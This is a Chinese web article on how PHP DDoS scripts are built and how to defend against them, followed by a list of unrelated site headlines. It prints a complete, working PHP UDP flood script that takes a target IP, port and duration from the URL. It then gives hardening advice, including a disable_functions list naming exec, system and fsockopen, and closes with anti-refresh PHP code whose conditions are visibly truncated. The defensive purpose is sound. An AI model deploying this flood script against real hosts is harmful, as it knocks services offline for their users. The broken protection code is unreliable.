【php】phpddos脚本构造及避免方法
我们先来看php ddos代码
【资料图】
代码如下
$packets = 0;
$ip = $_GET["ip"];
$rand = $_GET["port"];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET["time"];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time("h:i:s")." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>
细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了。
于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法:
注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作。
1.打开php.ini
2.禁用危险函数
由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数。
找到disable_functions,将前面的“;”去掉,在等号后面增加:
代码如下
phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,
proc_get_status,fsocket,fsockopen
3.设置PHP执行超时时间
如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间。
找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30
4.禁用上传目录PHP执行权限
大概分为三种服务器: IIS,Apache、Nginx,具体步骤就不写了,放出个链接供大家参考:
iis与apache取消目录脚本执行权限方法:http://www.111com.net/sys/Windows/46232.htm
5.一个很暴力的方法
直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4
6.关闭用户中心
比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在。
7.修改管理员目录
这个方法就不细谈了,并不是对所有程序都适合。
8.修改默认管理帐号
很多人都习惯使用:admin 但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名。
9.一个复杂且记得住的密码
不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.
后再再附一个php防ddos攻击的代码
代码如下
//加入禁止IP
$time=time();
$fileforbid="log/forbidchk.dat";
if(file_exists($fileforbid))
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid);
else{
$fileforbidarr=@file($fileforbid);
if($ip==substr($fileforbidarr[0],0,strlen($ip)))
{
if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}
}
}
}
//防刷新
$str="";
$file="log/ipdate.dat";
if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);
if(!file_exists($file))file_put_contents($file,"");
$allowTime = 120;//防刷新时间
$allowNum=10;//防刷新次数
$uri=$_SERVER["REQUEST_URI"];
$checkip=md5($ip);
$checkuri=md5($uri);
$yesno=true;
$ipdate=@file($file);
foreach($ipdate as $k=>$v)
{ $iptem=substr($v,0,32);
$uritem=substr($v,32,32);
$timetem=substr($v,64,10);
$numtem=substr($v,74);
if($time-$timetem
if($iptem!=$checkip)$str.=$v;
else{
$yesno=false;
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";
elseif($numtem
else
{
if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);
$timepass=$timetem+$allowTime-$time;
die("Warning:"."
"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");
}
}
}
}
if($yesno) $str.=$checkip.$checkuri.$time."1rn";
file_put_contents($file,$str);
?>
相关教程 :
标签:
相关推荐:
最新新闻:
- 中兴星星1号续航测试:2300毫安时电池究竟能带来多久?
- 【科普】什么是通信网络?计算机网络的演进
- 【技术】ListView组件的分页技术 焦点资讯
- 【php】phpddos脚本构造及避免方法
- 怎么用免费dede采集插件让网站快速收录?有关企业网站优化诊断的三个方面
- 编程思想之多线程与多进程(4)——C++中的线程函数:焦点热文
- 每日速讯:什么是蓝牙Android平台?如何设置蓝牙?
- 吊扇调速器怎么工作?吊扇调速器的原理介绍
- 环球视讯!Bil站自动完成任务工具——BilibiliTask
- 全球球精选!linux下如何开启新建txt文件?Fedora19使用技巧汇总
- 戴尔台式机怎么设置U盘启动?戴尔台式机U盘启动的设置方法
- 忘记TP-LINK路由器登录密码如何解决?TP-LINK路由器登录密码找回方法
- 智能手机与智能机有什么区别?关于智能机的区别介绍
- Windows键是键盘上的哪个键?Win键的作用有多大?
- 实时焦点:压阻式压力传感器/压力变送器的类型有哪些?压力传感器/压力变送器的类型
- media/sf_Share/LED系统命令介绍 Linux系统介绍-焦点短讯
- 【环球播资讯】跟女人聊天的秘诀是什么?会说话的男人到底有哪些特质?
- BT是什么?BT(BitTorren比特流)的原理及使用方法_环球观焦点
- 网速慢到底是电信问题还是电脑问题?网速评判谁更可靠?|焦点热文
- 视网膜显示屏和普通显示屏什么区别?看完你就明白了-全球独家
- 摄像录音笔都有哪些品牌?韩国现代品牌的摄像笔有什么特点?:焦点速讯
- 3米的棉麻面料怎么做?下摆裹身连衣裙的裁剪制作教程 环球精选
- 联想掌上电脑多少钱?联想掌上电脑价格及推荐
- 【干货】Extjs中的ColumnModel属性配置
- python操作数据库软件的主要方法——sqlite3-环球热点评
- 全球信息:redPacketPay.php:扫二维码领红包系统软件开发流程
- kali中如何下载帝国?Web安全攻防之帝国_播资讯
- 公交车到底什么时候能够到站?GPS接受器价格一览_今日聚焦
- 诺基亚7230怎样刷机?诺基亚7230刷机步骤盘点|最新快讯
- 3d基本走势图:彩宝贝 辽宁快乐12选5开奖结果-速看
- 分布式集群化设计——MySQLServer
- 阿里云香港云服务器有哪些优势?阿里云香港服务器购买教程
- 天天即时看!guest账户怎么开启和关闭?guest账户关闭和开启教程
- 液晶屏幕显示器整机无电故障如何处理?液晶屏幕维修之常见问题判断
- 2-5阶魔方玩法:四阶魔方降阶法的还原步骤
- 【可编程】直流电源供应器与负载之间串联一只二极管
- 世界新动态:论坛会员颜小风:ThatPhoto超牛的图像编辑器
- 全球资讯:12306上可以提前多少天买火车票?12306车票的有效期的规定
- 世界即时看!电梯楼层控制系统——IC卡电梯门禁系统介绍
- 诺基亚6700c评测:全金刚材质打造的全金属手机
- 一系列C++类库——PocAny+库
- 环球快报:广州干细胞实验室建设:洁净空调选择有哪些事项?
- 快资讯丨Desktop.ini是什么文件?desktop.ini可以删除吗?
- mac电脑网游加速器哪个好用?网易uu加速器Mac版推荐
- 苹果手机怎么设置屏幕旋转?苹果手机屏幕旋转的设置教程 世界动态
- 【威航软件园】免费的windows文件搜索工具_天天快资讯
- 今日关注:西门子cx6怎么样?西门子cx65详细评测
- 如何制作鼠标跟随效果?鼠标跟随效果制作教程|环球热头条
- 诺基亚手机怎么恢复出厂设置?方法步骤
- 三星s5660如何刷机?三星s5660刷机教程
- 【新视野】蔚来2023无忧服务发布:11600元/年
- 三星990PRO旗舰固态降价了!890元入手|当前快看
- 男人看了眼馋 米家电动螺丝刀特价169元
- 焦点报道:《铁拳8》全新预告 展示角色拉斯·亚力桑德斯
- 《漫威暗夜之子》莫比亚斯DLC预告片展示其能力_全球播报
- 《牧场物语 Welcome!美丽人生》遗忘之谷预告片|全球讯息
- 真便宜!小喆优品全铝合金机箱仅189元
- 百亿补贴 Bose蓝牙音箱814元
- 2023爱普生创新大会开启共绘“多彩世界”新篇章
- 【环球时快讯】迷你主机腰斩价!655元买了不亏
- 环球观速讯丨3月21日基金净值:诺安双利债券发起最新净值2.66,涨0.38%
- COSPLAY图赏:俄妹COS《哈利波特》赫敏 泳装版意外惊艳 天天信息
- 今日关注:即时战略《异形:坠入黑暗》公布 6月20日发售
- 汇顶科技创新方案组合助力联想拯救者Y900高能体验_每日消息
- 性能狂飙 高能体验 联想拯救者2023全线生态新品强势发布_热资讯
- C宏源(301246):第三届第二十四次董事会会议决议,审议《关于签订募集资金三方及四监管协议的议案》等议案
- 国外流行起的新种族“星之种” 认为自己是外星人_每日视讯
- 外网热议:为何《光环》改编剧没像《美末》一样成功
- 《星球大战绝地:幸存者》新截图公开
- 环球观热点:《雷霆沙赞2》主演想拍第三部:希望能大战丧尸!
- “最丑超模”获泰国2023选美冠军引热议:评委口太重|环球新视野
- Win11更新修复了复制慢问题 但有可能降低SSD性能:当前消息
- 当前动态:透明外壳:红魔8 Pro银翼版首销 4999元
- 起亚官宣:正式进军中国电动汽车领域-天天快资讯
- 比亚迪:4月上市智能手表-快播